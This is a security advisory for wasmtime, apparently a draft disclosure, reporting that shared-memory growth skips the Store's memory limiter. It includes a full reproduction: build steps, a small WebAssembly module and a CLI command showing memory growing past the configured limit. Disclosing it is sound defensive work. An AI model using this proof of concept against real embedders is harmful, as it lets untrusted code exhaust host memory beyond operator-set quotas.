All advisories
Closed draft

Shared Memory Growth Bypasses the Store Memory Limit

bytecodealliance/wasmtime

Affected packages

wasmtime rust
Affected versions<= 49.0.0
Patched versionsNot specified

Description

Shared Memory Growth Bypasses the Store Memory Limit

Affected HEAD: 3ebfbe5af4927c157d6fcaca42b8dbb6d17b73fb
Sink: crates/wasmtime/src/runtime/vm/memory/shared_memory.rs:95 in SharedMemory::grow
Observed verdict: a shared memory grows beyond StoreLimits::memory_size

Summary

An untrusted WebAssembly module can bypass an embedder's per-Store memory quota when threads and shared memory are enabled. The shared-memory memory.grow path discards the Store resource limiter, so the module can grow a one-page memory by ten pages even when the configured limit is two pages, consuming host memory or address space beyond the boundary selected by the embedder.

Detail

Ordinary linear-memory growth receives the Store's configured limiter. SharedMemory::grow in crates/wasmtime/src/runtime/vm/memory/shared_memory.rs instead calls the underlying allocator with no limiter:

let result = vm::assert_ready(memory.grow(delta_pages, None))?;

Passing None means the StoreLimits::memory_size check is never consulted on this path. The PoC declares a shared memory with an initial size of one page and a module maximum of 1,024 pages. Wasmtime is configured with max-memory-size=131072, or two 64-KiB pages. Calling the exported grow(10) returns 1, the previous page count, which proves the growth succeeded; enforcement of the two-page Store limit would make memory.grow return -1.

The reproduction calls the original Wasm instruction through the stock CLI. It does not add or modify a harness.

Reproduce

set -eu
git clone --depth 1 https://github.com/bytecodealliance/wasmtime.git
cd wasmtime
git rev-parse HEAD

cargo build --bin wasmtime --no-default-features \
  --features 'run,wat,cranelift,compile,threads,clap/default,clap/wrap_help'

cat > shared-grow.wat <<'WAT'
(module
  (memory (export "mem") 1 1024 shared)
  (func (export "grow") (param i32) (result i32)
    (memory.grow (local.get 0))))
WAT

./target/debug/wasmtime run \
  -W threads=y -W shared-memory=y -W max-memory-size=131072 \
  --invoke grow shared-grow.wat 10

Observed output on the affected HEAD:

3ebfbe5af4927c157d6fcaca42b8dbb6d17b73fb
warning: using `--invoke` with a function that takes arguments is experimental and may break in the future
warning: using `--invoke` with a function that returns values is experimental and may break in the future
1

Credit

Zheng Yu @ DepthFirst